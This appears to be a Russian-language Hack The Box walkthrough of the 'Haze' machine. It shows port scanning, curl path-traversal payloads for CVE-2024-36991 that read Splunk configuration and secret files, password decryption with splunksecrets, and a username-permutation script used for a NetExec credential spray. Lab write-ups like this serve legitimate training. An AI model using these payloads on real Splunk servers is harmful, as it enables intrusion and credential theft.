Physical Address
304 North Cardinal St.
Dorchester Center, MA 02124
Physical Address
304 North Cardinal St.
Dorchester Center, MA 02124
Сегодня мы проэксплуатируем уязвимость в мониторинговой системе Splunk, чтобы получить учетные данные. Затем для компрометации нескольких учетных записей проэксплуатируем разрешения, а для повышения привилегий скомпрометируем админскую учетку Splunk и добавим свой модуль для установления привилегированной сессии.
Наша цель — получение прав суперпользователя на машине Haze с учебной площадки Hack The Box. Уровень задания — сложный.
warning
Подключаться к машинам с HTB рекомендуется с применением средств анонимизации и виртуализации. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
Добавляем IP-адрес машины в /etc/hosts
:
10.10.11.61 haze.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '' ',' | sed s/,$//)nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A
).
Результат работы скрипта
Сканер нашел 14 открытых портов:
Начнем, конечно же, с просмотра Splunk.
Страница авторизации Splunk
Страница сервиса Splunkd
На втором сайте нам открывается версия Splunk — 9.2.1. Сразу стоит проверить, есть ли для нее готовые эксплоиты. Первым делом просто ищем в Google.
Поиск эксплоитов в Google
И находим пост в блоге SonicWall, где подробно разбирается уязвимость CVE-2024-36991. Она позволяет обходить пути с эндпоинта /modules/messaging/
и читать произвольные файлы. По номеру CVE находим и рабочий PoC на GitHub. Он позволяет получать учетные данные из базы данных.
python3 CVE-2024-36991.py -u http://10.10.11.61:8000
Проверка уязвимости
У нас есть возможность читать файлы, поэтому прикинем, что может быть интересного. Я не стал заморачиваться и спросил у ChatGPT, какие конфиги Splunk могут оказаться полезны, а также что в них содержится.
Интересные файлы Splunk
В файле server.conf
находим зашифрованные технические пароли, а в authentication.conf
есть доменные учетные данные пользователя Paul Taylor
для связи с LDAP.
curl -s 'http:/haze.htb:8000/en-US/modules/messaging/C:../C:../C:../C:../C:../C:../C:../C:../Program%20Files/Splunk/etc/system/local/server.conf'
Содержимое файла server.confcurl -s 'http:/haze.htb:8000/en-US/modules/messaging/C:../C:../C:../C:../C:../C:../C:../C:../Program%20Files/Splunk/etc/system/local/authentication.conf'
Содержимое файла authentication.conf
Чтобы расшифровать пароли, нам нужен ключ из файла auth/splunk.secret
.
curl -s 'http:/haze.htb:8000/en-US/modules/messaging/C:../C:../C:../C:../C:../C:../C:../C:../Program%20Files/Splunk/etc/auth/splunk.secret'
Содержимое файла splunk.secret
Когда у нас есть ключ, мы можем использовать скрипт splunksecrets для расшифровывания паролей. При запуске указываем файл splunk.secret
, после чего вводим зашифрованные данные и получаем пароль в открытом виде.
pip install splunksecrets splunksecrets splunk-decrypt -S splunk.secret
Расшифровывание пароля
У нас есть пароль, но нет логина. По имени пользователя можно составить список всех возможных вариантов учетной записи. Для этого используем следующий скрипт.
names = ["Paul Taylor"]list = []for name in names: n1, n2 = name.split(' ') list.append(n1) list.append(n1+n2) list.append(n1+"."+n2) list.append(n1+"-"+n2) list.append(n1+"_"+n2) list.append(n1+n2[0]) list.append(n1+"."+n2[0]) list.append(n1+"-"+n2[0]) list.append(n1+"_"+n2[0]) list.append(n2[0]+n1) list.append(n2[0]+"."+n1) list.append(n2[0]+"-"+n1) list.append(n2[0]+"_"+n1) list.append(n2) list.append(n2+n1) list.append(n2+"."+n1) list.append(n2+"-"+n1) list.append(n2+"_"+n1) list.append(n2+n1[0]) list.append(n2+"."+n1[0]) list.append(n2+"-"+n1[0]) list.append(n2+"_"+n1[0]) list.append(n1[0]+n2) list.append(n1[0]+"."+n2) list.append(n1[0]+"-"+n2) list.append(n1[0]+"_"+n2)for n in list: print(n)
Затем перебираем логины с помощью NetExec и получаем учетную запись в нужном формате.
nxc smb 10.10.11.61 -u taylor_users.txt -p 'Ld@p_Auth_Sp1unk@2k24'
Результат подбора учетных данных
Источник: xakep.ru